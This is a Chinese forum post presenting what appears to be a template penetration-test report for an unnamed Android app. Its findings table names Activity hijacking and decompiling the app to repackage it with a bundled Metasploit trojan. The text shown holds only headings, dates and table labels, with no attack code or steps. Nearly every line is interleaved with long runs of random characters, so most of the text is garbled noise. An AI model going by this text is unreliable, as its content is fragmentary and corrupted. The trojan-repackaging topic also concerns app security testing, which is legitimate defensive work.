找回密码
 立即注册
查看: 5253|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
6 ?4 Z2 u1 _" m0 W( T: v 2 A. `" C- p* G/ p) U

8 C/ k s0 e3 x1 I5 x$ p 2 e5 P3 a( P9 }# h: B% g B
- z7 c. \( Z2 N5 X3 r4 P1 J. F - |, \$ f- q; W- `

( l9 m* U! U7 P+ f9 X 8 M# r% U8 e3 q) A
( T8 O1 ?, v, Q+ m* v) M$ A ( C- p+ b: {5 U0 i& @

5 ]" u; v$ M. F , a9 z7 E6 r- `' {6 ]) ^ 文档编号:                2 g* F# M- J% @0 O( j2 {4 G/ B( n, K: U

8 g5 g3 C( s5 \ ( Q; z! F O/ Q; I

: S7 R' B M7 {! Q6 M" p$ }- q4 ~% t$ G8 t& k( m   " N' V! P2 ~4 e2 j# P3 @ 1 y/ Z; g( x8 b8 ]' y

6 }+ o3 W# \- R% V2 {! R3 g. Z ) c, S! r7 Y! B9 |$ u4 f

9 F- {8 v0 w/ s1 E2 r 2 o9 a& a' m7 {: q, {9 I% @- O   + [7 a8 q, V( ?4 K# m( r 5 c R: m* B0 z! Q4 G+ @8 H

, z, S+ e& I) J" k* O0 L' o d) _7 ~( G, I7 `( c

# E2 ^% K6 c1 u5 n7 s% k/ b 6 [8 |! q* t1 K, V, i8 S2 l   ! e1 G4 I z! Q" [ ' l6 f( `- R8 Z# |* F

$ @4 \) p, u f% N6 l7 l4 Z; s 0 y ^3 c2 S k7 E

# G" H6 L& Y/ W; H+ H& f; }3 \! f( t 0 m) k+ M) H! Q   , t$ \# Y. o% A5 b% a 6 k0 \5 ^, k8 f: }3 A" l! T, c

7 t3 V) k8 o; N- B& V+ _. a' a; _( j- A2 t4 ~2 L: b5 {# l+ M

! j4 m% @4 h3 M. v4 Y) y , l$ N0 a& O; y2 [* u, C   1 D, ?. S& W) P- i : C5 B, p) I7 z

2 S8 N M% b& ^- ] 1 {- l. N& I8 r

; S/ L! Z, o5 f' Z * e8 D) X8 [! P) R9 _) v) D$ x* e 某某某APP渗透测试 ) M: G/ v5 o8 I. V% k , \/ Y, v6 a8 P8 h* |- |

# w) A- ~6 x0 j3 V( Q9 m* z 7 b/ h0 n# O- g( `! u

# M" t/ D( \& i( s& B* R- ^+ m4 S( {0 W Z# `# U   " G' `9 m7 n- F' a8 q7 V' ?1 o, H; u+ x 1 C7 g( Y9 x: ^; ]

7 c4 m0 ~2 q* @/ t! Z/ A( S" \/ u( o9 S; ]( h

+ Y: E, q2 n x8 g" M# K ) ]: b7 E4 M9 A; [+ @   + }2 E' E1 ?! I$ {# ~ 9 W. J0 A0 J8 a0 \5 \ l

z, N+ e! L$ E3 [; b4 e/ h 2 o$ |+ Q0 B! S) u D$ |6 m" g

3 \9 w7 U) n/ B9 z, }* t2 j" B! C8 D) }   , b$ ?) v/ T8 v5 w5 L! b+ \ # @1 e& @0 i1 \0 v% G

5 x& L" s5 ?) e. {2 V* B K$ i z6 G: ^4 c7 r" O3 n3 M5 e( U) ]3 X

. X) e6 w/ M! H . F6 O( U/ y4 U9 m! E+ ]   7 f- }6 {8 p$ g; J8 j, J5 k7 ? # x2 r8 b" B0 m' `- B; v

2 b$ d. A- D) [5 N: c5 ~5 F+ z7 D$ F, S6 M& ? j* T) T5 k. r: f

5 `9 N; ^: ]- {2 J 9 z. k1 G/ `! |9 z) @; P* N 技 术 报 告 + ~" E2 Q' e3 [ z' W; Q ( y. X9 X# @. W: S3 Q% o- o/ `

/ j5 X4 \* X: u+ H( z. Z- o) M. Y+ k7 c$ R+ I8 I0 ?: L! Y

: n5 Q, t9 G% }( X . H8 Q9 S& V6 b! u" Z   2 x$ I2 k! N5 [ 4 }7 u2 z- o: r0 b

! m$ }8 E& f& S3 u1 ^ ! N k. Y7 Y# C+ x: N

! }9 F" a2 \4 B# p! `4 N5 S , o( N0 c$ n/ F# V/ ?2 K T   0 \ `0 \3 X" x4 i1 {& s / I9 f0 r, c* L- i2 @2 ^

0 \% j7 @8 Y& ~+ p' L% s, j ~7 f) K0 ~: ~$ l5 Q

8 h5 h2 O3 T ^; j0 W3 r+ z' y. J+ v* }, Z3 v% f5 P& |/ c& v5 r   2 b& n f0 R" m0 u & j! J% U8 k. R! `7 t

$ u6 r) q3 p% D# q# ~3 O, U2 c! S2 z 9 X+ H6 I w+ G

2 n* j j4 V; d, R# }* U- y, i' Y4 `   x z, n* e! w+ k. V) m @ / g$ I' W( U- r: F2 P+ _. Y

8 @0 ~/ I+ B& s: Y5 e1 Z & \+ x+ Z1 q) V m% V

6 w$ {2 f# H6 n9 u& h1 F7 v1 V; g   , k' g# P4 G, @% O! o* G! O4 H ' H4 j5 {$ @5 ]3 @2 h/ F. ~

$ A9 P2 q h. y: V ( ~* t) E @0 g; U# r

# J, A# x- `, j) x " Y% ?, E( v6 O- z2 R: C0 R. N- O   ' t) V+ ^6 V' Z* {" T3 ^ , c: u) U# P( B4 z+ b

6 _8 @2 V6 ~" b# J2 u @ ( S* m% L; b) ] x

/ _/ ]# L/ I0 W/ h$ E; p" Z 4 t! J' M2 G- ^( O: M' t   4 G+ u5 @, H- l$ C: i t ; J( T5 n5 ]+ G- Y

/ a7 i7 N- Z: R/ g8 ` ! f t: o; ]! X; ?! G

, H: _7 b0 y% v3 ?8 T$ x ) @& K& i8 I' z   9 x' D, E. R# V$ i; p! W% N; J* E 8 m& k5 P/ K2 u9 K% y2 C8 d/ t+ P

, e* q) T" ~! i$ M' q+ z6 f) X; z4 R) f6 T: ^

6 @3 T; c! e% o: h2 A5 y 8 q) t3 _4 y# N0 d) |   0 ]$ C; }" l* {) f. s# \ 8 r5 z( i; U2 W, B6 a8 Y2 e

6 B2 v7 o/ J8 L+ V& N 4 H+ C9 |; _ g2 x- Z5 @3 L7 F

1 F, D6 W: S; O ' r1 {9 y9 k" F- f3 q$ K   8 E! s+ Y0 w8 f2 k8 K$ p" g8 R - u; i3 R: ]+ m. H0 Z: o

8 s7 y) ~# ~3 z6 q7 H6 D9 q# [6 Y* g$ \: t p3 l

8 L1 M) b9 A( o+ {+ R/ u# n1 N* e6 {& X+ e3 \# q   - d5 h! }" N& N r 8 [4 x: a/ G5 Y' }. j

$ w( @/ e! T. N9 o6 h. W7 ^! ~ * _9 V4 [# L' Y9 S( j! z0 T7 z1 p

3 i3 W$ h x; h q" w+ C4 D0 X0 _1 j   1 k5 P4 F$ o. R ' `3 w' ?1 {& z3 u0 l! p

- x/ f6 A& t h7 z \3 t! F* u$ t# r3 b- t: _# o6 M5 w

# ]6 V3 S: Y0 \9 O' m . s$ @' Y z) _1 W   7 }7 t2 C, Q4 n1 u+ b* b7 G& N5 K2 z* }5 t( `

, B! y6 P8 Q' N ) A3 q0 q7 V" ~5 e

7 }) o: X5 c# `) x3 Q2 f. D / t/ l- d# ~* O0 A# R7 `9 {( @- ^   8 @9 `# N3 y( S! \. t- A A: n5 u& O3 ~( L- A5 q$ \

7 q8 O; }9 I$ ]8 X, l" k 6 [6 g; t! L- I( {

0 I; D: X2 R2 Y3 r" p. a, g6 P+ B/ C4 B! h: I# y5 P$ h   ( r; c% f& z0 R- U ) e6 p- E9 \+ a; y: F

) d! s* k+ a) A+ U& C- E0 W/ f# E x9 m- A6 J# {& F

# ]( w2 S& \* C0 Y 8 P, Z+ A" p8 c. p2 t   ) ^, k( v$ t4 h& B4 ~% b& O f( y . l0 ^/ B$ z* h: d* H6 P m

6 i, b9 @0 d! _ k" L % ?1 E* g M8 N0 E9 Y* g% ? h

7 W& r( M/ y2 h$ m 3 ?# q; ~3 Z5 i8 b( |   % r: n4 O2 P- _: a7 ] & n! N6 Z9 t2 W- z7 `8 i I3 v0 ?

3 z) m" I# U; a' R/ q$ i- D & r+ _+ H3 V8 H: m! M/ j6 x# N7 @

$ k1 L2 @% [* F* K! k( o8 F; K1 M   7 d9 c( l7 u; \; D: W j$ H1 ? r7 l# ^5 D, P$ t Z( m

1 x) }1 ]1 w% I! S& i5 O- ]5 y 6 f. R8 e$ X3 m' W/ _0 m

- `* b2 G8 y C' R" I' U . f3 e4 L5 s. I7 p 二〇二〇年 - P. L/ n- U. m ; }4 F2 _ M0 ~2 l5 G

: m; E5 f7 A" s4 n7 W5 s + c) z8 a. }, M1 z0 X
& X: A, z8 o. i0 ] 2 n$ K6 I: H3 s# d# ~& r
# Y: I0 L' ^" g3 l$ p4 d7 x3 h2 S. @ 0 {; G* z8 Z7 _
) N5 T# v/ R0 P # b' f- h, x& J* C# J4 N
! D+ r! m, G. Q5 K3 w$ V1 u. M 1 t4 o! g8 @6 m' [
/ O/ r8 y5 K- P0 l & E1 q6 |" [& w4 P) Q3 |) k
! O7 g' L. H. ]4 T9 p . Y# B2 E9 ~ n0 Z6 X, L* z
- {( Q' z7 K- B4 I E ( y9 Z- s+ \9 t$ Q% e# ?
" f2 s- b, m1 B' u" z2 k4 _ 0 b- |/ a' V( D3 C% {

. O7 {+ Q( s, R+ T7 q3 { $ ?4 b$ Q# D9 S% C7 F5 C8 B& B/ x 目 录 + N" B6 c! ~) z9 |% d/ q9 @ % Z4 }, y! k1 K/ k

/ ]3 X1 {+ t. u2 U, m8 D3 P: k! s ) V W9 X, Q/ i4 M 0 j/ ]7 B: J1 G/ T 6 \# @3 ]3 l, e" e) x( i

r" ~; a% o& Z. Z: I2 e$ g; k( E2 K# `1 M$ t" [) p2 z   + b& D9 i6 E% }8 W0 c8 B, ~ + H* N% Y7 `9 r2 X9 K

) _. y; t5 p. [! f' V% W7 k0 Z. T8 v8 o - g& n7 j6 y) C

4 I z* x& W: S g" {: H- e 0 f* C8 T! A2 e% G6 e; Y$ R 1 概述... 3 1 z3 @ `5 L8 E4 C/ |/ r4 M ' |8 y1 x* u$ U* e

6 A" n7 c- E7 Z# U" j( \ 4 z1 J L( H; \ r: m

% s4 k% j0 g1 @) K, Q4 k6 y; L+ e. G2 [5 s* o1 [9 l0 { 1.2测试时间... 3 5 E0 j" O# ?1 t5 x! G: j' Q 9 \- G7 t+ F3 ~- `

2 O* F, `7 B% V& {; T, H 4 _" m/ r5 C) R2 e& s6 @

6 O+ K$ [8 c( n: I' H, R0 \; H n. \' Y" ` 1.3测试对象... 3 r+ w; Z7 K( P+ R5 z" Y! D 4 X% ] |1 ^; d# A6 K+ ^5 E$ A

7 N# ^" G1 o: F- U 6 T% Y! R. w/ t( _9 I$ q

; x: ~* H! }, c0 w' _1 M" k # V3 j2 v8 ? z6 o1 p' e7 R 1.4测试结果... 3 0 Q: Q: Z1 c8 y- d * F1 q! i1 I" K+ ~

' U$ \, [6 v- x) q: P4 A $ t$ m/ D, J: a4 p# Q

! c* d8 l" L0 z2 M* V7 Y # e. R5 s, `2 \+ z 2 检测结果... 4 $ Z3 | O) V) A% v9 w: E- d/ p 7 o2 D* ]0 h+ m8 d

- S# ^4 i& }: h. Y: r) _7 }) y# t% z2 O9 S; T0 ?9 `

7 f! ~# U1 v( w2 Z * w+ K l- g7 y9 z6 w 2.1 某某某... 4 ! W4 V: M7 F# f' I) G/ K( |+ P6 g 5 y2 y/ ?; W4 ~" C. J1 C

4 N) \6 Q- l* V4 B* n4 w$ M( L" ?: z3 m' E; T

R% x m) t. ^$ T2 \5 q" ] 5 g# q1 T. c# R" Q8 |9 v 2.1.1检测目标... 4 : B$ [- A M4 M2 ^$ N0 V1 M% E: ]# D7 K) z z

( P8 l1 v2 s: n& z ) p# a' V- a/ R

|- o: r$ U' T; b( A2 K ( G: E) \) H& a [: P# a- O 2.1.2检测结果... 4 0 [, k2 O1 z# C) @/ z ' V# g$ H6 n# a1 G2 S; _

" z7 O+ x; t) o* t. X6 \, ]7 N

5 d8 \* @# @* p2 E8 Y( ` 7 Y7 q: {, X/ b6 P2 z( a+ J 2.1.2.1. 4 & D+ y) w& s* E9 H& t $ K1 |' h" _. E& B

. U. h9 v5 @. a: ~% H# d; X. s 2 E& Z2 v& o7 r1 S1 ^: _& Z

; ]) O% b% G/ {+ ]$ F . M6 u# J, R8 J" _ 2.1.2.2. 6 J* E2 r: U9 r4 u; W : K3 K5 ?6 O4 f, K

* ]) t2 f; s2 C2 J4 ?' H9 Y) G, M9 D( N- a

9 P3 o- h7 l, T/ M" p4 l. Q! e5 r4 @6 |3 `7 H ) b. q5 g2 T: ]1 Y7 X- |# } * U7 E$ V. h- t1 w: c' D

3 ` `" T, W0 w( }2 U5 ?- D* E# z- Y: X) ?. V# ^( u# L
, H2 C6 e9 k& v/ S+ K# R; Z # @! S8 D) q2 a2 ]& }
6 p9 _( i) ^/ R' Y " o5 j: l- D& k* s5 O4 k6 t
5 Z6 q; c( H6 p; a , Z: D$ N6 u/ A! [, N$ b2 m6 l% V
) v! n6 l. p. a. o" q |9 P9 F! z, k$ l; G! E" c+ X

" G( [- ?5 x9 Z& [+ ~* D 9 ]5 n+ W! ^0 T D5 U 1 概述 ' r3 \6 x+ ?, C( G: ], t; P `1 A4 O- p$ E3 G: |* h4 x

; y9 Q! c8 Q' t3 W4 d$ x 6 [3 v" F a2 x/ k

0 W: V0 w. y% O8 ^$ ~; W* ^" m 1.2测试时间 ; w! N x3 g8 w , g0 g' v# L! S" _+ t- j

4 h0 \; {% ?% i' S3 Y - F5 o% ~6 A7 k # i, D, Z: E6 v3 b, b$ U$ |% u5 b& ^2 P2 \( R# \+ d7 y G% K: G+ T, ?2 a) q* L$ g/ `, u! j \3 ^4 Y1 W# N; n% W/ d: G" s8 M3 D6 j2 I( k m L' u: F! i+ G* V: [8 ~( {1 N8 o8 y4 T, P* {* R. O; h3 _. O* [+ b6 {& O# |0 C. G& K, n1 }; h2 F* ^5 y3 ~# Q$ O: o0 ?1 b( Z( I! H+ l0 G1 \' V! u2 {; `' @( S' y/ W$ F3 c$ r! K+ S: F: s& U. K) {0 y# D( i4 E1 O$ w$ X: ^- ?6 O7 P2 N0 Q& \5 Z0 D( Z" v+ x4 R. ~, D& ]6 q& {# `# q& K+ ]! C) H/ V7 J" r. X2 X5 I$ ?7 {1 t( N* e$ L) _! _9 I5 t! w4 o! e, D; \% s% P! T5 `! ?, F; F' v# c* b+ c, _' i0 Q1 h, r; p, I6 j7 Y+ M% p, e/ y9 ?0 \" ^5 D( y0 _. b# i0 E0 a( ?3 M5 r1 }( v9 x6 l) e. p; P8 n( O5 L* D* h0 A( Y; F+ l: h& K1 Z* r( M7 c+ X+ r
$ U' @; w% e- W. u X 2 S: E0 t( A( O; E, Z& F0 V9 |

* y( e5 S+ d, ?7 ~. v8 c 9 Z v2 A: G4 P/ i$ z, A9 y 渗透测试时间 " S4 n' @, T5 o( t5 W. @ M; V m; o1 v0 P! s7 C5 D

( W$ b& s. Q8 a" d: }" g8 {; q , P8 g6 b$ V0 i5 v/ p
+ O! T a: A) _! a2 D7 S) R$ E l0 K0 K# C5 g) w: C+ y

/ g- G6 t7 ~8 S D/ A : T( T7 v2 Q8 d 起始时间 3 I, S, l/ D% O3 B& e& ^ 6 ?$ |" D9 L$ b2 n

" p. V6 b6 w3 E# V ' }, {( x; g9 x1 b
4 F' o3 N" a0 b( W8 V# o . R2 L \6 C0 ]& h

3 S m g% F& W7 t( J: x: [0 k1 _" r5 |( M; e; ^ 202046 8 r; V0 R; R+ z( J ( W7 m! \+ U7 ~, l8 q W

, I1 S$ \0 Q: f# k: B; s T1 x/ O" \. E+ ~0 z/ e7 j$ {
" Y; U" c+ \- G 6 s# Z6 m$ G% g. Y

& i) F$ F- ?* N6 H- S/ l/ I# `6 D& o& m 结束时间 : e( Q8 A2 H( a+ k/ }% r: k - j) X- E& Z) E$ L

! B1 [! M3 u2 g i: H4 _5 Q ) C8 {. y2 H8 ^/ M6 u- w
1 _, L+ d" ]! s 7 L7 b& f) j$ D1 t: \& Q) o2 ?1 }, x, u3 ?

; @8 s' |' v3 v " A* P. F; s# j0 Y 202049 + P' }/ g+ p) u8 i" k) @+ z- k 1 [* W2 C- T t& q; p! r6 G1 `% {6 ]( r

4 o" D: Y1 V5 n" Q / l2 l% f3 c4 T; z* g
4 K- j0 s- p9 X% l& q$ Y+ y, | & u% r0 U/ ]; `

- _8 l `3 |9 L ' t8 ^( f) l7 v* o; K 1.3测试对象 / t5 A {* |* U- z2 Y: k ) n+ k% M; | T0 W6 x9 T

& ~- d' F) Y4 }0 q2 ^+ W0 l. y+ M* u' O& a9 t

" B% k; f" t. n1 K1 W% U8 r* c7 f + ^* X: A! b& u: I t6 { 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: & H* k. L: f; K, j0 Q! X 7 F$ y9 ^- L9 q

/ L7 f7 l* ]6 o6 u, J+ _0 `1 T( ]6 f/ p $ o2 Z4 f* P& F* V" t+ P' K

, H4 X# L: T( K# w2 h, _' F2 Q 6 R; C8 E. f& V0 A6 [ 1-1 检测对象 % ^4 F: Y3 O4 v. n+ T - L% w; a' D. X& i

# g2 ^- `* I$ X+ K7 @( A. W - \, B, ^! e( P2 ]4 Z$ K 2 X. E; t0 K; b9 D# y3 }" h( B; D- `1 G( V8 S( E# ]' u+ b: e7 a# q( _& |- J) v& Q% {; i! \4 m' g$ x* W; I2 X2 u1 k7 s" w6 ^0 ~# h; \1 n- {( W% g' u+ t( }4 A9 i2 K/ _6 e, B, }$ {2 E! G4 W, L7 U M, N# x3 \/ p5 y4 ^# E' M( ~7 I z% `5 h @4 |3 @: X" n2 @, }: k/ X E* ~* ~5 Q1 F! U1 y. S5 w* @" C! i* [8 Y- a- V# [. @- u. f+ i9 Y' W( |" X9 E4 K+ g% v3 O1 }# c8 W+ G0 O# Q9 E B( b' b9 A" c! R* k# F5 i1 j* l, u. U$ U1 {" h/ P( [1 p" [0 b7 T l( J, m3 @0 l; X! Z& J* }( W6 _: i6 f4 T6 u4 `# j: g9 ~$ G5 ~' Z8 \6 N. s* y8 f8 s; P8 g# q1 i) |* e3 \! @* U. _7 P+ A& t9 ^ W# B4 Z6 V# Q# Y* |% K; q* M _/ L* C, f) V& C Q9 X+ S; Z" @9 o+ _7 O$ \. F8 d! C5 s4 i9 v& e0 j+ W' Y9 N; W: i8 P9 \
; |4 \0 x. E( [' Z- [2 K ' ]! s9 h6 N' X* |- V& ]

. j) k6 s! h* H# B, P( ~ ) n! h8 z$ P7 z9 A5 ]- h0 L/ }$ c0 M" W 序号 6 L7 j) I! N. n1 R. e ! z! A3 y3 C8 w: h2 @

0 ?& {" U" T$ y/ k" D- I- Y% Q % C, V ^/ {% r( p; c' U
7 T& _/ |% S6 Z, u4 V # C0 c5 ^. v& ]9 }- b0 ?/ {/ F

! G& t( M1 }! k" X( K% m! J9 u4 ^$ G7 x, n2 ~ 测试对象 . g( G$ q7 }" `5 K1 i" V: G3 F& q5 R7 R0 ]

! |& p( J" C( b3 \* f: n * e( u! v* w- r2 Q* D
& v1 D8 W3 [; g+ N1 L * v; W$ }# B$ T/ B

8 z+ g9 ?4 C5 B8 x% t7 } 7 N* Z) @5 t- b! `$ K, R7 \ 测试地址 4 X. Y# u( E" V4 Y( ?4 Y + H2 M% `" E) I, \% _ j

+ d2 W( |9 \" [/ P; m" P& C / x8 [8 `* d8 s) a- t8 H% q {
0 U, w" t A2 W, A8 U' U/ Y0 d . g3 H v4 p$ ^0 w3 c: ]

( M, D4 ?+ F5 F 8 R$ U' D# k2 q0 M3 \ 安全漏洞 9 A g T- A- m& ` 8 S7 C9 i2 s4 a# J! j, D

4 W) x5 U" E' M3 m1 T% M: o % F! Z1 c5 v& d' n
4 C1 e7 a" S) g. ]4 C, P & t+ k2 [2 W3 _8 E: U3 C. t

% _6 ^' l! e; _) C4 U) k $ G, n! q- B8 x8 s3 C! M 1 $ p( G; j- K$ C. A5 I9 f- {3 w# \ D3 S( S9 d G& i6 \: }

! p: [; m3 C5 N7 \; d ( z% J" R- A( y$ d0 c/ S
" m& X+ Q- b6 o8 I; h0 z2 i : W9 m+ |, M H. a. m* w

, b7 g8 \) @! O" i$ _ 7 U( H- a/ E& M: W 某某某安卓APP , H3 X% K0 B9 ^' n$ J5 `& X5 T : A) Y( N7 g6 z* x4 `

( S! c9 k) I7 Q# b$ G3 y 7 V* @" a3 m: ]+ j+ X
7 V3 w8 f* z' d- e0 U) m ) @6 N" i6 l) A

& x" X( R- l9 K& g A! t$ Y: [ 7 Z. m8 E1 V! G3 O' v2 Z   5 }+ L" ~9 e$ K B y: D# }2 I T" X7 a6 l1 K0 d

# a& g. }+ p/ G; n( |7 U0 R* A" a3 {: \% _" b2 y$ l
! [ Z: `9 k! M9 _9 d0 O 1 E% r# S7 m. J

* d# i/ g: v+ o& \( L* Y: A + m) @0 K. l) G- ]2 G- [( S {9 | 2 # [- t- s: s- t7 \# v 2 o9 |3 v9 M2 a; X9 h# Z# ]

( Z0 D' B0 V% t1 J% I; V& u6 C 4 p2 H: z) h1 G) }
5 Q7 w8 }* t$ X ] ( W' i$ g( z# K# F

+ o# E0 l# t& z( C$ N1 w7 K 4 r" B9 v% ?, y& P, a2 L% ~ 1.4测试结果 5 f. \ W* G. _5 v8 q0 C; j, F 3 H5 l7 p9 j# N

" \ }/ i7 V2 q, j# k2 x 5 a$ {8 t6 E+ }! @ d

J: m8 C$ _+ j4 z 8 L1 s* H+ |7 f, f a# P0 w* S 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: + S2 K/ d4 r# u% H w # m+ v! `) S+ C! g! P

; I" }- S# T: r/ \/ r' p9 |+ J/ L( \* J) @, _7 I' ]

3 b# E7 [3 t" r3 Y3 L/ g / ]8 `* x1 @& R# X3 K- U   4 o! o% K3 v1 q) o) d0 W" ]2 @( L4 }. O0 z

0 R9 b: n% U" K6 P6 f . i5 q5 w8 Y$ n
9 p" H' \. o* i( H7 m+ n& u # w8 b- |( I/ n1 D! u+ a s8 q5 G . ^ R# y6 I; A1 u/ H+ G, N8 w( }$ K9 @4 l, @. O3 T1 F1 w; `8 s0 ~6 b8 r( {7 v3 S( C4 D/ }. F/ _1 u% R# P. l% m5 a, c9 i M+ T5 _1 { ~. ^+ K8 p' f' m3 M, U" V6 t1 M* P$ k- `% f5 W8 ^% P% [! S3 W$ `0 }: I' B0 G; I! w0 c& y% d$ N. C- ]! b4 ~- E& W$ }: d0 G$ X- z& ]$ }% u! P* f+ ~5 K+ b8 K; j+ }8 ?: j; K/ E. w* \$ \. g' S& I5 O5 [: C: W* o. q8 J0 b* ?& d1 _$ n: L7 l0 z! w$ T% u/ c6 C" W5 e5 m- M! K9 L, N! L$ U: P: O5 F- X) s7 r7 i9 f( |5 v4 c( ~3 A2 Y# ~& B+ \3 B$ i9 Z" w, B7 k. ?# U* Z7 ~; Z; \/ v {, p$ _6 p1 j; i# S" p# d F! l( n* k# U" T! s9 a7 i( O8 Q6 R1 L @% l3 ]+ r$ d' Y: F# f% u) x# {( i- w% o7 n8 l! e) k, X. v; j7 d9 V9 {0 E1 A7 q& V% j& K) k' N; `+ p/ K; k; g! \! ?1 I5 e4 Z3 n5 j$ q2 T6 i$ a) ~8 |; P* D; n$ v/ b; \ v0 |+ R C0 i5 v" X% ^; e0 U. w* T" s9 E' w$ [- B6 a$ I U1 n+ E( i/ C5 H. l2 Y* Y! X' B7 n- P/ h$ a Y3 y% {$ n' D* y, ~! S7 s' X# K& I7 @2 X$ B6 W2 S# f- l& n( M8 f) i; @5 z0 A2 `" |7 ~5 m% {: J1 b6 O4 T6 L) ]+ a) w3 n! ?# X2 K( Q; j8 o7 h+ H }7 Z7 ?2 N7 q. c& P" J! p3 y) p& e- {6 Y# }+ X& @4 Z0 Z! |3 a1 W P, Y4 c2 W/ ^8 H0 d5 b2 q; T# o* j$ m) U0 z4 I1 E0 R
3 D4 d0 L/ |5 K3 q+ @0 r 1 y, J# `1 I) S5 C, t6 b

3 g7 ^8 H8 @0 d2 R7 Y5 A$ K, ?8 S) Y - `* Y/ T. h8 f4 j; L7 E1 ` 序号 6 s0 w0 Q% O0 X, Y& r& R% [- C/ T. b: V. w) d) u

2 [1 {8 y: q0 d: H) ` / f4 h0 j1 G, |- L
/ h9 _8 N& A5 g; k3 o. i# V( ?7 F- M$ e" o7 I- p9 r8 ?

+ ~( S" E1 r p/ ^: m# v7 Z, B) a4 n0 N0 j$ h4 j 系统名称 8 h# L# o' {3 d: ]: ], G' A# i3 {2 ?' R! T: U- ?/ D6 Y

3 p+ ]7 M3 r! |1 L7 |* e8 t; R 3 t2 g# b4 w/ r7 r4 D
6 ? K) m. x( l5 [# K& D; p 2 q% `3 R" w8 H

' `5 I/ U5 z, g" I6 i8 c( X, \7 P$ ~# i 漏洞名称 , x- r1 m7 |5 m0 `, z R , m" U( a# I' h5 k

; }, S- y# ~, L* n3 A2 r; B6 t% C, i/ D; ?( {0 M8 x: m
7 a4 s% x7 C6 P" l4 k8 H9 A . e" H! \7 |: _5 B

. E! S& J% L+ V% p& @ # e' j8 z" T' E, o& J, n 漏洞危害 - R! e2 I$ O9 \5 {' O" B+ d: W- i : @, r; @( T( m; O

7 B j( u1 T4 v) C$ O ; V# U. L+ O% J" ?! C2 w% Y
) ~! o. z. J' U ) M5 b$ \! O' _

* h9 U3 F# \3 M# R 6 r8 e& O( |8 }$ s* A# T 修复结果 ' L) ?( _, k5 ?# z* h; P / D, b! j. j) V( m) U

8 |/ N& k, {6 r8 M# c% F & p( i; q7 f- L' E! t; y
( C4 q, Z. U/ S2 y$ M; }2 z) {0 ]7 Q5 q) d

: o0 O) r* ]0 P3 ?% P- G( U# e' z u6 k" D) A1 t, O& | 1 / w, A- U9 S8 ]$ x- M; d$ c6 n# s ) U6 k$ g- |4 H V/ {; w

# B9 W8 _9 G# O4 e6 o 5 W3 n3 O2 S( E3 L2 h6 P* S
/ M5 Y# ~: B# m; b" A1 P( t7 S8 S# z( z& M. s; g3 K1 L8 X/ S% ?, \

$ _! n1 P. b+ ]) O* _: l: w 9 p D8 g q: H( }6 b# [ 某某某某某某APP : F7 G1 X! P7 d# E$ Y' L : B& k' S7 f. a; U

1 _: ~8 i* ^3 w * _8 ?+ x: _" p, x
- h. u* a3 m/ J" i/ o 8 k$ K! n P N6 h8 O2 f% V, E

% i" \) J0 f. |4 i5 j* e- I( A ^! b: h0 H: A% t: B) b7 W: r Activity 劫持 ' P, m {, x$ O) r' {9 u9 M 8 c9 c+ W; u T& ], @2 N

4 \, L7 s9 A; H( G5 a5 R , V5 P3 w! b% U

. |4 M9 O) ]3 T$ I 6 C% i: @% j. ^& v   " t6 b8 X1 d% Y* f& X; X7 o @ 3 G4 b2 d5 a& A$ @0 w& s Q

}5 _! j! h T* y, z! V% S 4 m! b3 r: y& h4 v% V$ ]
! V! M* m0 }# J2 b6 G7 S* b$ N + J# Y5 x- Q) d9 O% F# x

9 \/ u/ l8 d* g" ?; G) K! x0 {$ L0 k* c& J * o$ p* S1 z q; W% v+ [5 v$ k % P7 a- `2 g6 q; \+ B

0 _0 I$ [) `1 w1 M2 e& F 3 |. z% v0 t+ \1 S7 i4 g
A& T) j2 m- M- E& p9 D, H8 q3 q( v& B& ~

& W$ u' g8 y' D7 V) Q+ p" @" R8 H; J& n7 u! |# V   $ T$ Z: u5 \9 A; }" r+ m T& a" l1 r3 f0 T' U

( X9 p# F4 E2 J* }/ c0 ` . s, R/ Z! I8 y0 E8 ]3 B
. q2 v' k5 A" \/ O z6 d/ `/ A. t2 s; w& a0 w

) o* O; J4 m/ s) L# o6 G4 M0 x " Z% C6 }* E- w 2 0 R/ L6 o- S8 A; |2 k, Q) G * ?+ a8 ]! _. r4 g) ^

1 I# `% e+ h V4 v* f" E- n 4 Z8 @: n Y B* v& F& `. k5 [
3 z } }7 G! \8 ?# g) e2 @ l9 D7 L( x8 F3 b: p: \

) F' q" n3 W, [$ B% j1 Y& t : Z0 r( v7 `+ N6 r3 l9 J 某某某某某某APP ' M5 S# y+ y; O4 u4 E& C , a6 n. s8 }! l! J! e1 V

% M! a0 V! o& d C. f . P, H A9 L a9 h" J5 b8 D& [+ c* C
1 C) U) m8 `9 {' Y5 P# Q : L& l w7 S) H3 ]7 E- \: V" e9 Q# f

$ ^# X0 W& [9 @/ f/ a 2 _1 k0 C. R) j. s' L- M2 ?0 I5 X 反编译二次打包捆绑木马、篡改APP代码 . N2 Y7 q0 e8 L4 a / A2 ]7 P* ?/ i2 V0 f# t0 ]

7 I3 v: \+ C& |3 O6 c: }# Q: k9 p) `
) S5 q0 H* ] f7 _; Q9 T! D8 D 7 C9 T& ~( ~3 x% f- R6 P

! Q! x$ r a ]# x$ ^; P W p: Y % `0 V( _3 |# A9 q% p5 _9 Q) H ) a/ q* J, `& h* v( ` r+ Q 5 p( T: B! V' v* y% {3 k( W

3 r; F4 g% T5 G+ c0 _( H/ ? 8 m- @0 b! J% C$ r
+ D% l# m; t4 e& f# r: e; v" u4 i I* X, Z7 [

. Z C% Y/ ]+ C& U, o" O4 v& T / n g* ^) ^% c& Z   - m7 N; G1 W# B( h/ { ) t) P( ?+ T; k. `5 O7 i" L% i7 x

+ L* W5 j( L' i$ I/ Z $ m: i( u, ~) m; |* Z9 ^
$ B+ r* [0 \. W @! ^ ' U$ ~* _' K9 n
/ e6 v9 G6 _2 w+ c1 s, x3 z1 c2 w0 ^5 d; D

8 ~$ O% W3 I9 ^$ p ( |$ N1 J: Z# N+ H   ( s% r0 F# }2 `1 T9 a4 e! |$ _ , R/ X' \% S0 c3 L( I, X' E

+ O9 I' T4 J4 J. s+ ~& Q0 @ : |% t% U* c5 n6 y3 C

